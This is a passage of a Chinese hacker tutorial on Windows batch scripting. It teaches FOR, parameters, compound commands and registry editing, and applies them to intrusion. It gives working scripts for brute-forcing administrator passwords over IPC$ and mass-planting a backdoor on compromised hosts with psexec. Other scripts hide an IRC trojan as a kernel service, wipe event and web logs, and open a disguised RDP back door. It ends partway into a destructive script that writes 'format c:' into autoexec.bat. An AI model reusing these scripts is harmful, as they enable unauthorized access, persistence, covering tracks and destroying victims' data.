                        <p><font face=幼圆>会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for </font></p>
                        <p><font face=幼圆>程序体；用逗号和/或 空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 </font></p>
                        <p><font face=幼圆>%j 来取得第三个符号，引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用</font></p>
                        <p><font face=幼圆>双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会</font></p>
                        <p><font face=幼圆>被理解成是用作定义某个要分析的字符串的。 </font></p>
                        <p><font face=幼圆>%i 专门在 for 语句中得到说明，%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= </font></p>
                        <p><font face=幼圆>一行指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住，FOR 变量是单一字</font></p>
                        <p><font face=幼圆>母、分大小写和全局的；同时不能有 52 个以上都在使用中。 </font></p>
                        <p><font face=幼圆>您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。</font></p>
                        <p><font face=幼圆>这样，该字符串会被当作一个文件中的一个单一输入行。 </font></p>
                        <p><font face=幼圆>最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符</font></p>
                        <p><font face=幼圆>串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此</font></p>
                        <p><font face=幼圆>，以下例子: </font></p>
                        <p><font face=幼圆>FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i </font></p>
                        <p><font face=幼圆>会枚举当前环境中的环境变量名称。 </font></p>
                        <p><font face=幼圆>另外，FOR 变量参照的替换已被增强。您现在可以使用下列选项语法: </font></p>
                        <p><font face=幼圆>~I - 删除任何引号(")，扩充 %I <br>%~fI - 将 %I 扩充到一个完全合格的路径名 <br>%~dI - 仅将 %I 扩充到一个驱动器号 <br>%~pI - 仅将 %I 扩充到一个路径 <br>%~nI - 仅将 %I 扩充到一个文件名 <br>%~xI - 仅将 %I 扩充到一个文件扩展名 <br>%~sI - 扩充的路径只含有短名 <br>%~aI - 将 %I 扩充到文件的文件属性 <br>%~tI - 将 %I 扩充到文件的日期/时间 <br>%~zI - 将 %I 扩充到文件的大小 <br>%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个完全合格的名称。如果环境变</font></p>
                        <p><font face=幼圆>量未被定义，或者没有找到文件，此组合键会扩充空字符串 </font></p>
                        <p><font face=幼圆>可以组合修饰符来得到多重结果: </font></p>
                        <p><font face=幼圆>%~dpI - 仅将 %I 扩充到一个驱动器号和路径 <br>%~nxI - 仅将 %I 扩充到一个文件名和扩展名 <br>%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 <br>%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。 <br>%~ftzaI - 将 %I 扩充到类似输出线路的 DIR </font></p>
                        <p><font face=幼圆>在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 </font></p>
                        <p><font face=幼圆>%I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。 </font></p>
                        <p><font face=幼圆>以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。 </font></p>
                        <p><font face=幼圆>sample2： </font></p>
                        <p><font face=幼圆>利用For命令来实现对一台目标Win2k主机的暴力密码破解。<br>&nbsp;<br>我们用net use </font><a href="file://ip/ipc$"><font face=幼圆 color=#000000><u>\\ip\ipc$</u></font></a><font face=幼圆> "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下</font></p>
                        <p><font face=幼圆>密码。 <br>最主要的命令是一条：for /f i% in (dict.txt) do net use </font><a href="file://ip/ipc$"><font face=幼圆 color=#000000><u>\\ip\ipc$</u></font></a><font face=幼圆> "i%" /u:"administrator" <br>用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给</font></p>
                        <p><font face=幼圆>find命令－－ <br>for /f i%% in (dict.txt) do net use </font><a href="file://ip/ipc$"><font face=幼圆 color=#000000><u>\\ip\ipc$</u></font></a><font face=幼圆> "i%%" /u:"administrator"│find ":命令成功完</font></p>
                        <p><font face=幼圆>成"&gt;&gt;D:\ok.txt ，这样就ko了。 </font></p>
                        <p><font face=幼圆>sample3： </font></p>
                        <p><font face=幼圆>你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会</font></p>
                        <p><font face=幼圆>变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵</font></p>
                        <p><font face=幼圆>，看下去你就会明白了。</font></p>
                        <p><font face=幼圆>主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable） <br>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k <br>tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数</font></p>
                        <p><font face=幼圆>%i %j %k。 <br>而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码</font></p>
                        <p><font face=幼圆>（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。 <br>delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容</font></p>
                        <p><font face=幼圆>是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。</font></p>
                        <p><br><font face=幼圆>代码雏形： <br>--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------</font></p>
                        <p><font face=幼圆>------ <br>@echo off <br>@if "%1"=="" goto usage <br>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k <br>@goto end <br>:usage <br>@echo run this batch in dos modle.or just double-click it. <br>:end <br>--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------</font></p>
                        <p><font face=幼圆>------ </font></p>
                        <p><br><font face=幼圆>------------------- cut here then save as a batchfile(I call it door.bat) ------------------</font></p>
                        <p><font face=幼圆>----------- <br>@net use </font><a href="file://%251/ipc$"><font face=幼圆 color=#000000><u>\\%1\ipc$</u></font></a><font face=幼圆> %3 /u:"%2" <br>@if errorlevel 1 goto failed <br>@echo Trying to establish the IPC$ connection ............OK <br>@copy windrv32.exe\\%1\admin$\system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 </font></p>
                        <p><font face=幼圆>&gt;&gt;ko.txt <br>@psexec </font><a href="file://%251/"><font face=幼圆 color=#000000><u>\\%1</u></font></a><font face=幼圆> c:\winnt\system32\windrv32.exe <br>@psexec </font><a href="file://%251/"><font face=幼圆 color=#000000><u>\\%1</u></font></a><font face=幼圆> net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt <br>:failed <br>@echo Sorry can not connected to the victim. <br>----------------- cut here then save as a batchfile(I call it door.bat) --------------------</font></p>
                        <p><font face=幼圆>------------ </font></p>
                        <p><font face=幼圆>这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一</font></p>
                        <p><font face=幼圆>目录下.批处理内容 <br>尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功</font></p>
                        <p><font face=幼圆>能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. </font></p>
                        <p><br><font face=幼圆><strong>二.如何在批处理文件中使用参数</strong> </font></p>
                        <p><font face=幼圆>批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见</font></p>
                        <p><font face=幼圆>，我们就不考虑它了。<br>&nbsp;<br>sample1：fomat.bat </font></p>
                        <p><font face=幼圆>@echo off <br>if "%1"=="a" format a: <br>:format <br>@format a:/q/u/auotset <br>@echo please insert another disk to driver A. <br>@pause <br>@goto fomat <br>这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添</font></p>
                        <p><font face=幼圆>足了～ </font></p>
                        <p><font face=幼圆>sample2： </font></p>
                        <p><font face=幼圆>当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令</font></p>
                        <p><font face=幼圆>写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令</font></p>
                        <p><font face=幼圆>了。 <br>@echo off <br>@net use </font><a href="file://1%25/ipc$"><font face=幼圆 color=#000000><u>\\1%\ipc$</u></font></a><font face=幼圆> "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。 <br>@if errorlevel 1 echo connection failed <br>怎么样,使用参数还是比较简单的吧？你这么帅一定学会了.No.3 </font></p>
                        <p><br><font face=幼圆><strong>三.如何使用组合命令(Compound Command)</strong> </font></p>
                        <p><font face=幼圆>1.&amp; </font></p>
                        <p><font face=幼圆>Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...] </font></p>
                        <p><font face=幼圆>用这种方法可以同时执行多条命令，而不管命令是否执行成功 </font></p>
                        <p><font face=幼圆>Sample： <br>C:\&gt;dir z: &amp; dir c:\Ex4rch <br>The system cannot find the path specified. <br>Volume in drive C has no label. <br>Volume Serial Number is 0078-59FB </font></p>
                        <p><font face=幼圆>Directory of c:\Ex4rch </font></p>
                        <p><font face=幼圆>2002-05-14 23:51 . <br>2002-05-14 23:51 .. <br>2002-05-14 23:51 14 sometips.gif </font></p>
                        <p><font face=幼圆>2.&amp;&amp; <br>Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...] </font></p>
                        <p><font face=幼圆>用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则</font></p>
                        <p><font face=幼圆>一直执行完所有命令； </font></p>
                        <p><font face=幼圆>Sample： <br>C:\&gt;dir z: &amp;&amp; dir c:\Ex4rch <br>The system cannot find the path specified. </font></p>
                        <p><font face=幼圆>C:\&gt;dir c:\Ex4rch &amp;&amp; dir z: <br>Volume in drive C has no label. <br>Volume Serial Number is 0078-59FB </font></p>
                        <p><font face=幼圆>Directory of c:\Ex4rch </font></p>
                        <p><font face=幼圆>2002-05-14 23:55 . <br>2002-05-14 23:55 .. <br>2002-05-14 23:55 14 sometips.gif <br>1 File(s) 14 bytes <br>2 Dir(s) 768,671,744 bytes free <br>The system cannot find the path specified. </font></p>
                        <p><font face=幼圆>在做备份的时候可能会用到这种命令会比较简单，如： <br>dir file&amp;://192.168.0.1/database/backup.mdb &amp;&amp; copy file&amp;://192.168.0.1/database/backup.mdb </font></p>
                        <p><font face=幼圆>E:\backup <br>如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法</font></p>
                        <p><font face=幼圆>可以替换IF exist了.</font></p>
                        <p><font face=幼圆>3.││ </font></p>
                        <p><font face=幼圆>Usage：第一条命令 ││ 第二条命令 [││ 第三条命令...] </font></p>
                        <p><font face=幼圆>用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的</font></p>
                        <p><font face=幼圆>命令则一直执行完所有命令； </font></p>
                        <p><font face=幼圆>Sample： <br>C:\Ex4rch&gt;dir sometips.gif ││ del sometips.gif <br>Volume in drive C has no label. <br>Volume Serial Number is 0078-59FB </font></p>
                        <p><font face=幼圆>Directory of C:\Ex4rch </font></p>
                        <p><font face=幼圆>2002-05-14 23:55 14 sometips.gif <br>1 File(s) 14 bytes <br>0 Dir(s) 768,696,320 bytes free </font></p>
                        <p><font face=幼圆>组合命令使用的例子：<br>&nbsp;<br>sample： <br>@copy trojan.exe </font><a href="file://%251/admin$/system32"><font face=幼圆 color=#000000><u>\\%1\admin$\system32</u></font></a><font face=幼圆> &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 </font></p>
                        <p><font face=幼圆>&gt;&gt;victim.txt </font></p>
                        <p><br><font face=幼圆><strong>四、管道命令的使用</strong> </font></p>
                        <p><font face=幼圆>1.│ 命令 <br>Usage：第一条命令 │ 第二条命令 [│ 第三条命令...] <br>将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。 </font></p>
                        <p><font face=幼圆>sample： <br>time /t&gt;&gt;D:\IP.log <br>netstat -n -p tcp│find ":3389"&gt;&gt;D:\IP.log <br>start Explorer </font></p>
                        <p><font face=幼圆>看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登</font></p>
                        <p><font face=幼圆>录用户的IP。 </font></p>
                        <p><font face=幼圆>2.&gt;、&gt;&gt;输出重定向命令 <br>将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 &gt;&gt;的区别在于，&gt;会清除调原有文件中的内</font></p>
                        <p><font face=幼圆>容后写入指定文件，而&gt;&gt;只会追加内容到指定文件中，而不会改动其中的内容。 </font></p>
                        <p><font face=幼圆>sample1： <br>echo hello world&gt;c:\hello.txt (stupid example?) </font></p>
                        <p><font face=幼圆>sample2: <br>时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不</font></p>
                        <p><font face=幼圆>例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录： <br>运行CMD--转换目录到system32--dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt, <br>这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中, <br>日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了. <br>这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运</font></p>
                        <p><font face=幼圆>行: <br>CMD--fc exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt dllback1.txt&gt;diff.txt.(用FC命令比</font></p>
                        <p><font face=幼圆>较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,</font></p>
                        <p><font face=幼圆>然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没</font></p>
                        <p><font face=幼圆>有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到</font></p>
                        <p><font face=幼圆>回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。 </font></p>
                        <p><font face=幼圆>3.&lt; 、&gt;&amp; 、&lt;&amp; <br>&lt; 从文件中而不是从键盘中读入命令输入。 <br>&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。 <br>&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。 <br>这些并不常用，也就不多做介绍。 </font></p>
                        <p><font face=幼圆></font>&nbsp;</p>
                        <p><font face=幼圆><strong>五.如何用批处理文件来操作注册表</strong> </font></p>
                        <p><font face=幼圆>在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删</font></p>
                        <p><font face=幼圆>除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统</font></p>
                        <p><font face=幼圆>的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操</font></p>
                        <p><font face=幼圆>作注册表.(我们可以用批处理来生成一个REG文件) <br>关于注册表的操作，常见的是创建、修改、删除。</font></p>
                        <p><font face=幼圆>1.创建 <br>创建分为两种，一种是创建子项(Subkey) </font></p>
                        <p><font face=幼圆>我们创建一个文件，内容如下： </font></p>
                        <p><font face=幼圆>Windows Registry Editor Version 5.00 </font></p>
                        <p><font face=幼圆>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker] </font></p>
                        <p><font face=幼圆>然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子</font></p>
                        <p><font face=幼圆>项。 </font></p>
                        <p><font face=幼圆>另一种是创建一个项目名称 </font></p>
                        <p><font face=幼圆>那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下： </font></p>
                        <p><font face=幼圆>Windows Registry Editor Version 5.00 </font></p>
                        <p><font face=幼圆>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] <br>"Invader"="Ex4rch" <br>"Door"=C:\\WINNT\\system32\\door.exe <br>"Autodos"=dword:02 </font></p>
                        <p><font face=幼圆>这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 <br>新建了:Invader、door、about这三个项目 <br>Invader的类型是"String value" <br>door的类型是"REG SZ value" <br>Autodos的类型是"DWORD value" </font></p>
                        <p><font face=幼圆>2.修改 <br>修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s</font></p>
                        <p><font face=幼圆>）即可。 </font></p>
                        <p><font face=幼圆>3.删除 <br>我们首先来说说删除一个项目名称，我们创建一个如下的文件： </font></p>
                        <p><font face=幼圆>Windows Registry Editor Version 5.00 </font></p>
                        <p><font face=幼圆>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] <br>"Ex4rch"=- </font></p>
                        <p><font face=幼圆>执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就</font></p>
                        <p><font face=幼圆>被删除了； </font></p>
                        <p><font face=幼圆>我们再看看删除一个子项，我们创建一个如下的脚本： </font></p>
                        <p><font face=幼圆>Windows Registry Editor Version 5.00 </font></p>
                        <p><font face=幼圆>[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] </font></p>
                        <p><font face=幼圆>执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了</font></p>
                        <p><font face=幼圆>。 </font></p>
                        <p><font face=幼圆>相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了</font></p>
                        <p><font face=幼圆>，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。 </font></p>
                        <p><font face=幼圆>samlpe1:如上面的那个例子,如想生成如下注册表文件 </font></p>
                        <p><font face=幼圆>Windows Registry Editor Version 5.00 </font></p>
                        <p><font face=幼圆>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] <br>"Invader"="Ex4rch" <br>"door"=hex:255 <br>"Autodos"=dword:000000128 </font></p>
                        <p><font face=幼圆>只需要这样： <br>@echo Windows Registry Editor Version 5.00&gt;&gt;Sample.reg <br>@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&gt;Sample.reg <br>@echo "Invader"="Ex4rch"&gt;&gt;Sample.reg <br>@echo "door"=5&gt;&gt;C:\\WINNT\\system32\\door.exe&gt;&gt;Sample.reg <br>@echo "Autodos"=dword:02&gt;&gt;Sample.reg </font></p>
                        <p><font face=幼圆>samlpe2: <br>我们现在在使用一些比较老的木马时,可能会在注册表的</font></p>
                        <p><font face=幼圆>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、</font></p>
                        <p><font face=幼圆>Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查</font></p>
                        <p><font face=幼圆>杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为</font></p>
                        <p><font face=幼圆>windrv32.exe) </font></p>
                        <p><font face=幼圆>@start windrv32.exe <br>@attrib +h +r windrv32.exe <br>@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] &gt;&gt;patch.dll <br>@echo "windsnx "=- &gt;&gt;patch.dll <br>@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= </font></p>
                        <p><font face=幼圆>c:\winnt\system32\windrv32.exe <br>@regedit /s patch.dll <br>@delete patch.dll </font></p>
                        <p><font face=幼圆>@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和</font></p>
                        <p><font face=幼圆>只读，并config为自启动] <br>@REM 这样不是更安全. </font></p>
                        <p><br><font face=幼圆><strong>六.精彩实例放送。</strong> <br><br>1.删除win2k/xp系统默认共享的批处理 <br>------------------------ cut here then save as .bat or .cmd file --------------------------- </font></p>
                        <p><font face=幼圆>@echo preparing to delete all the default shares.when ready pres any key. <br>@pause <br>@echo off </font></p>
                        <p><font face=幼圆>:Rem check parameters if null show usage. <br>if {%1}=={} goto :Usage </font></p>
                        <p><font face=幼圆>:Rem code start. <br>echo. <br>echo ------------------------------------------------------ <br>echo. <br>echo Now deleting all the default shares. <br>echo. <br>net share %1$ /delete <br>net share %2$ /delete <br>net share %3$ /delete <br>net share %4$ /delete <br>net share %5$ /delete <br>net share %6$ /delete <br>net share %7$ /delete <br>net share %8$ /delete <br>net share %9$ /delete <br>net stop Server <br>net start Server <br>echo. <br>echo All the shares have been deleteed <br>echo. <br>echo ------------------------------------------------------ <br>echo. <br>echo Now modify the registry to change the system default properties. <br>echo. <br>echo Now creating the registry file <br>echo Windows Registry Editor Version 5.00&gt; c:\delshare.reg <br>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]&gt;&gt; </font></p>
                        <p><font face=幼圆>c:\delshare.reg <br>echo "AutoShareWks"=dword:00000000&gt;&gt; c:\delshare.reg <br>echo "AutoShareServer"=dword:00000000&gt;&gt; c:\delshare.reg <br>echo Nowing using the registry file to chang the system default properties. <br>regedit /s c:\delshare.reg <br>echo Deleting the temprotarily files. <br>del c:\delshare.reg <br>goto :END </font></p>
                        <p><font face=幼圆>:Usage <br>echo. <br>echo ------------------------------------------------------ <br>echo. <br>echo ☆ A example for batch file ☆ <br>echo ☆ [Use batch file to change the sysytem share properties.] ☆ <br>echo. <br>echo Author：Ex4rch <br>echo Mail:Ex4rch@hotmail.com QQ:1672602 <br>echo. <br>echo Error：Not enough parameters <br>echo. <br>echo ☆ Please enter the share disk you wanna delete ☆ <br>echo. <br>echo For instance，to delete the default shares: <br>echo delshare c d e ipc admin print <br>echo. <br>echo If the disklable is not as C: D: E: ，Please chang it youself. <br>echo. <br>echo example： <br>echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ： <br>echo delshare c d e x y z ipc admin print <br>echo. <br>echo *** you can delete nine shares once in a useing *** <br>echo. <br>echo ------------------------------------------------------ <br>goto :EOF </font></p>
                        <p><font face=幼圆>:END <br>echo. <br>echo ------------------------------------------------------ <br>echo. <br>echo OK,delshare.bat has deleted all the share you assigned. <br>echo.Any questions ,feel free to mail to </font><a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#69;&#120;&#52;&#114;&#99;&#104;&#64;&#104;&#111;&#116;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;"><font face=幼圆 color=#000000><u>Ex4rch@hotmail.com</u></font></a><font face=幼圆>. <br>echo <br>echo. <br>echo ------------------------------------------------------ <br>echo. </font></p>
                        <p><font face=幼圆>:EOF <br>echo end of the batch file <br>------------------------ cut here then save as .bat or .cmd file --------------------------- </font></p>
                        <p><br><font face=幼圆>2.全面加固系统（给肉鸡打补丁）的批处理文件 <br>------------------------ cut here then save as .bat or .cmd file --------------------------- </font></p>
                        <p><font face=幼圆>@echo Windows Registry Editor Version 5.00 &gt;patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] </font></p>
                        <p><font face=幼圆>&gt;&gt;patch.dll </font></p>
                        <p><font face=幼圆>@echo "AutoShareServer"=dword:00000000 &gt;&gt;patch.dll <br>@echo "AutoShareWks"=dword:00000000 &gt;&gt;patch.dll <br>@REM [禁止共享] </font></p>
                        <p><font face=幼圆>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] &gt;&gt;patch.dll <br>@echo "restrictanonymous"=dword:00000001 &gt;&gt;patch.dll <br>@REM [禁止匿名登录] </font></p>
                        <p><font face=幼圆>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] &gt;&gt;patch.dll <br>@echo "SMBDeviceEnabled"=dword:00000000 &gt;&gt;patch.dll <br>@REM [禁止及文件访问和打印共享] </font></p>
                        <p><font face=幼圆>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] &gt;&gt;patch.dll <br>@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] &gt;&gt;patch.dll <br>@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] &gt;&gt;patch.dll <br>@echo "ShutdownWithoutLogon"="0" &gt;&gt;patch.dll <br>@REM [禁止登录前关机] </font></p>
                        <p><font face=幼圆>@echo "DontDisplayLastUserName"="1" &gt;&gt;patch.dll <br>@REM [禁止显示前一个登录用户名称] <br>@regedit /s patch.dll </font></p>
                        <p><font face=幼圆>------------------------ cut here then save as .bat or .cmd file --------------------------- </font></p>
                        <p><font face=幼圆>下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。 <br>@regedit /s patch.dll <br>@net stop w3svc <br>@net stop event log <br>@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q <br>@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q <br>@del c:\winnt\system32\config\*.event /f /q <br>@del c:\winnt\system32dtclog\*.* /f /q <br>@del c:\winnt\*.txt /f /q <br>@del c:\winnt\*.log /f /q <br>@net start w3svc <br>@net start event log <br>@rem [删除日志] </font></p>
                        <p><font face=幼圆>@net stop lanmanserver /y <br>@net stop Schedule /y <br>@net stop RemoteRegistry /y <br>@del patch.dll <br>@echo The server has been patched,Have fun. <br>@del patch.bat <br>@REM [禁止一些危险的服务。] </font></p>
                        <p><font face=幼圆>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-</font></p>
                        <p><font face=幼圆>Tcp] &gt;&gt;patch.dll <br>@echo "PortNumber"=dword:00002010 &gt;&gt;patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp </font></p>
                        <p><font face=幼圆>&gt;&gt;patch.dll <br>@echo "PortNumber"=dword:00002012 &gt;&gt;patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] &gt;&gt;patch.dll <br>@echo "Start"=dword:00000002 &gt;&gt;patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] &gt;&gt;patch.dll <br>@echo "Start"=dword:00000002 &gt;&gt;patch.dll <br>@echo "ErrorControl"=dword:00000001 &gt;&gt;patch.dll <br>@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ </font></p>
                        <p><font face=幼圆>&gt;&gt;patch.dll <br>@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ </font></p>
                        <p><font face=幼圆>&gt;&gt;patch.dll <br>@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 &gt;&gt;patch.dll <br>@echo "ObjectName"="LocalSystem" &gt;&gt;patch.dll <br>@echo "Type"=dword:00000010 &gt;&gt;patch.dll <br>@echo "Description"="Keep record of the program and windows' message。" &gt;&gt;patch.dll <br>@echo "DisplayName"="Microsoft EventLog" &gt;&gt;patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] &gt;&gt;patch.dll <br>@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br>@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe <br>@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路] </font></p>
                        <p><br><font face=幼圆>3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。） <br><br>------------------------ cut here then save as .bat or .cmd file --------------------------- <br>@echo off <br>rem This program is dedecated to a very special person that does not want to be named. <br>:start <br>cls <br>echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br>call attrib -r -h c:\autoexec.bat &gt;nul <br>echo @echo off &gt;c:\autoexec.bat <br>echo call format c: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat <br>call attrib +r +h c:\autoexec.bat &gt;nul <br>rem Drive checking and assigning the valid drives to the drive variable. </font></p>
                        <p><font face=幼圆>set drive= <br>set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z </font></p>
                        <p><font face=幼圆>rem code insertion for Drive Checking takes place here. <br>rem drivechk.bat is the file name under the root directory. <br>rem As far as the drive detection and drive variable settings, don't worry about how it <br>rem works, it's d\*amn to complicated for the average or even the expert batch programmer. <br>rem Except for Tom Lavedas. </font></p>
